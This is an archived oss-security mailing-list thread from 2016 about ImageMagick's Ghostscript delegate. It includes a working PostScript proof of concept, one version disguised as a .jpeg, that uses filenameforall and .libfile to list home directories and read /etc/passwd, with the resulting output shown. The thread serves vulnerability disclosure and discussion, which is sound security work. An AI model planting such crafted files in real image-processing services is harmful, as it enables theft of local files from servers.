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Date: Wed, 28 Sep 2016 13:52:36 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: Re: ImageMagick identify "d:" hangs

On Wed, Sep 28, 2016 at 11:16 AM, Tavis Ormandy <taviso@...gle.com> wrote:
> On Tue, Sep 27, 2016 at 7:56 AM, Bob Friesenhahn
> <bfriesen@...ple.dallas.tx.us> wrote:
>>
>> On Tue, 27 Sep 2016, Jakub Wilk wrote:
>>
>>> * Bob Friesenhahn <bfriesen@...ple.dallas.tx.us>, 2016-09-27, 08:48:
>>>>
>>>> From my own investigations, I used
>>>>
>>>>  identify -debug all "d:"
>>>>
>>>> and see that a temporary file is reported to be created and then the program hangs which no apparent CPU usage.
>>>
>>>
>>> strace tells me that it waits for input on stdin.
>>> This is a simpler way to make it "hang":
>>>
>>>  identify -
>>
>>
>> This is what I expected was happening.  The main thing to investigate is if the "ImageTragick" patches distributions are using do protect against this possible issue as well.
>>
>
> You know, you reminded me that the pdf and/or the ps delegate probably
> allows filesystem enumeration via filenameforall, as far as I know
> that's permitted with -dSAFER. I think that's probably unexpected.
>
> For example, if you try to identify a file like this, it will list
> local usernames on stdout, I guess a real attack would have to encode
> that in the output somehow, but I only know enough postscript to know
> i'd rather write bf. Might be a fun exercise for masochistic hackers
> though.
>
> $ cat whatever.jpeg
> %PDF-1.0
> (/home/*) {==} 256 string filenameforall
> $ identify whatever.jpeg
> (/home/taviso)
> identify.im6: Postscript delegate failed `whatever.jpeg': No such file
> or directory @ error/pdf.c/ReadPDFImage/677.
>
> Tavis.

Maybe I'm missing something, because .libfile also works, this seems
like free arbitrary file disclosure?

Here is the code I'm testing with (Note: I really don't know much
postscript - and I hate it).

$ cat test.ps
/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newline
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        print
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def

(/etc/pass*) /dumpname load 256 string filenameforall

$ identify test.ps
/etc/passwd
stat succeeded
 ctime:1474998792 atime:1474998792 size:2662 blocks:8

.libfile returned file

root:x:0:0:root:/root:/bin/bash

It seems obvious you can manipulate the output based on this. I'd be
interested to hear why I'm wrong about this.

Tavis.

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